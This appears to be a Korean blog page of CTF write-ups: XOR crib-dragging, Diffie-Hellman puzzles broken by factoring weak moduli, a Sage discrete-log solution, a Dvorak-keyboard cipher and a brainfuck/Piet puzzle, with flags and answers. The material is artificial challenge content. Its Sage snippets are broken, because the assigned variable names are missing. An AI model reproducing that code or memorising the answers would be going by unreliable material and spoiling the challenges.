python xorstrings.py 468A4376450DF466CD200E20C8D62D9C7E62B982A3625F7017EC97FEC4B7F38F4D3FE2E60439F1B8316BF96A7B64E2FBB2FCB5179CCA6001C14794E74A5DF146AD9FE58FB5091EE8BCE96E245A6A6C9B19886A9D3EC1C12C7C07BF99CB8D1351D38491E4E2C4D2C8BD526D94CD 6C9B4570450CE630C9201F20CECA68892B70B881B42505411CBCD1E2D3F4F5825062E2D10E34A4A96566D95A595C84ED8FEC8826A0ED5646ED3DFC9D732EBC64EBE0CFCE897634B781DD53020E155EDB74CF5DB97EB2F4715751EEC7C48D125D818492F0F785C8CEA51D3EB3A8 



이제, 그걸 cribdrag.py에 넣고... 예측되는 message를 입력하여 계속 예측해나가면 된다.



예를 들어 TUCTF{를 입력하면 가능한 출력가능한 문자열을 출력해주는데

여기서 teal m이 가장 유력해보이므로 42를 선택해주면 된다.



이런식으로 커맨드라인에서 계속해서 추측해나가면 된다.







이것말고도 단일XOR암호나 다중XOR암호에서도 쓰일 수 있어서... 꽤나 편리하다. 나중에 또 써먹어야지




디피-헬만 문제입니다.


최근했던 CTF에 이와 같은 문제가 나와서 비슷한 유형의 다른 CTF 문제를 가져와 풀어보겠습니다.


 I just intercepted some odd messages.txt. It appears to be a Diffie-hellman protocol, but my math isn't good enough to figure out what the final shared key is. Help!


g^a mod p = 421049228295820

g^b mod p = 105262307073955

p = 442101689710611



디피-헬만(Diffie–Hellman)에서의 키교환 문제이다. 문제에서 flag값은 비밀키인 g^(ab) mod p 의 값이다.


g값도 안주어진다는 점에서 꽤 어려워보이는 문제이나. p값이 작아 소인수분해가 되기 때문에 이를 이용하여 문제를 풀 수 잇다.


factorDB에서 소인수분해를 해서 가져와보았다.


A = g^a mod p = 421049228295820 = 2^2 * 5 * 17 * 19^3 * 37 * 47^4 

B = g^b mod p = 105262307073955 = 5 * 17 * 19^3 * 37 * 47^4

p = 442101689710611 = 3 * 7 * 17 * 19^3 * 37 * 47^4 


A와 B와 p가 공약수를 가지는 것을 알 수 있습니다. 


공약수는 k = 17 * 19^3 * 37 · 47^4 와 같습니다.


그렇다면 이제 아래와 같이 나타낼 수 있습니다.


 k = 17 * 19^3 * 37 * 47^4

g^a mod p = 421049228295820 = 2^2 * 5 * k = 20k

g^b mod p = 105262307073955 = 5 * k = 5k

p = 442101689710611 = 3 * 7 * k = 21k


g^a mod 21k = 20k = -k [since 20k mod 21k = -k]

==> (g^a)^b mod 21k = (-k)^b

==> g^(ab) mod p = (-k)^b [since p = 21k] 


자... 이제 단순화되었으니 g^ab가 될 후보들은 구하면...


 (-k)^1 mod p = 421049228295820

(-k)^2 mod p = 42104922829582

(-k)^3 mod p = 357891844051447

(-k)^4 mod p = 168419691318328

(-k)^5 mod p = 105262307073955

(-k)^6 mod p = 231577075562701

(-k)^7 mod p = 421049228295820  [ same as -k ^ 1 ]

...


위와 같이 사이클이 반복됨을 알 수 있습니다. 즉 6개의 값들중 하나가 비밀키입니다.


여기선 421049228295820이 비밀키였습니다.




*같은 유형의 다른문제


p : 739626899866411020995105608928036598669313466029070991080755558690

g^a mod p : 711179711410010597110678470123112114105109101951029799116111114125

g^b mod p : 256024696107603814959844249244320361077839276702370727681800001085



p = 2 * 5 * 13 * 1804529 * 6726547 * 468719798853001437040762632814600786193829912273851

A =  5^3 * 1804529 * 6726547 * 468719798853001437040762632814600786193829912273851

B = 3^2 * 5 * 1804529 * 6726547 * 468719798853001437040762632814600786193829912273851


k = 5  *  1804529 * 6726547 * 468719798853001437040762632814600786193829912273851


p = 26k

A= 25k

B = 9k


(g^a) mod 26k = 25k  = -k mod 26k

(g^a)^b = A^b = mod 26k = (-k)^b mod 26k


CTF{711179711410010597110678470123112114105109101951029799116111114125}




[RITSEC2018] DarkPearAI

2018. 11. 19. 20:52

Diffie-Hellman 문제다.


풀수있었는데, 500점이나 되는 점수에 못풀줄 알았다 ㄷㄷ;


 

DarkPearAI

500

3:371781196966866977144706219746579136461491261

Person1: applepearblue
Person2: darkhorseai

What is their secret key?
(Submit like RITSEC{KEY_GOES_HERE})

Hint 1: Hopefully you can get the flag in a diffie jiffy!

Hint 2: If you can type at a decent pace this challenge can be completed in under 30 seconds

Author: Cictrone



뭐;; 디피헬만은 공부부터 제대로 해야하는게 맞긴하다.

저번에도 디피헬만 문제를 한번 봐서 sage코드로 정리된게 몇개 있다.

이번것도 쉽게 풀린다.


1
2
3
4
5
6
7
8
= 122488473105892538559311426995019720049507640328167439356838797108079051563759027212419257414247
= 2
= 41265478705979402454324352217321371405801956976004231887598587967923553448391717998290661984177
 
= IntegerModRing(p)
= discrete_log(R(h), R(g))
 
print(x)
cs


이게 가지고있는 소스중 하나..


이게 이번것


1
2
3
4
5
6
7
8
9
10
11
12
n=371781196966866977144706219746579136461491261
g=3
 
m1 = 97112112108101112101097114098108117101
m2 = 100097114107104111114115101097105
 
= IntegerModRing(n)
 
= discrete_log(F(m1), F(g))
= discrete_log(F(m2), F(g))
 
print 'RITSEC{'+str(IntegerModRing(n)(g)**(a*b))+'}'
cs


와 이건... 무슨 미궁 문제인줄 ;;


큰 CTF 대회에선 나올 것 같지않은 유형이지만.. 뭐 이런것도 있다~ 싶은 정도로 적어둔다.

문제는 아래와 같다.


OGK:DI_G;lqk"Kj1;"a"yao";fr3dog0o"vdtnsaoh"patsfk{+

Author: hulto 


이렇다.


처음에는 치환암호처럼 다뤄봣다 (그도 그럴게 OGK:DI_ 이 부분을 RITSEC로 바꾸면 딱맞아떨어진다.)

그런데 시간이 너무 오래걸렸고, 너무 단서가 적었다 ㅡㅡ;


그래서 결국 못풀었는데;; 이게 드보락(DVORAK) 키보드로 친거라서 그렇다.

쿼티(QWERTY) 키보드에서 치는걸로 바꿔주면 플래그가 나온다...


http://wbic16.xedoloh.com/dvorak.html

'Write-up > Misc (+ Forensic, Stegano)' 카테고리의 다른 글

[PlaidCTF] can you guess me (ver. English)  (1) 2019.04.15
[PlaidCTF] can you guess me  (0) 2019.04.15
[RITSEC2018] RIP writeup  (0) 2018.11.19
[ISITDTU 2018] Play With ... Write-up  (0) 2018.07.30
[ISITDTU 2018] Drill Write-up  (0) 2018.07.30

[RITSEC2018] RIP writeup

2018. 11. 19. 19:43

오랜만에 쓰는 Misc 분야 write up이다.


사실 문제는 크게 어려운건 없고, misc에 자주나오는 난해한 프로그래밍 언어의 하나이다.

문제는 아래와 같다.


+[----->+++<]>+.++++++++++++..----.+++.+[-->+<]>.-----------..++[--->++<]>+...---[++>---<]>.--[----->++<]>+.----------.++++++.-.+.+[->+++<]>.+++.[->+++<]>-.--[--->+<]>-.++++++++++++.--.+++[->+++++<]>-.++[--->++<]>+.-[->+++<]>-.--[--->+<]>-.++[->+++<]>+.+++++.++[->+++<]>+.----[->++<]>.[-->+<]>++.+++++++++.--[------>+<]>.--[-->+++<]>--.+++++++++++++.----------.>--[----->+<]>.-.>-[--->+<]>--.++++.---------.-.

Author: oneNutW0nder 


brainfuck 언어로 작성된 코드가 주어지는데... 이것까진 익숙하다. 

brainfuck interpreter로 실행시켜보면 youtube url이 나오는데... 별 상관없는 내용이다.


주어진 문제가 중요하다. 아래와 같은 png파일이 주어진다.

문제풀때는 몰랐는데 piet라는 난해한 프로그래밍 언어중 하나라고 한다. (https://esolangs.org/wiki/Piet)



가운데 있는 스탠리 공룡을 지워주고, piet 인터프리터로 해석하면된다.

https://www.bertnase.de/npiet/npiet-execute.php








https://www.bertnase.de/npiet/npiet-execute.php







+ Recent posts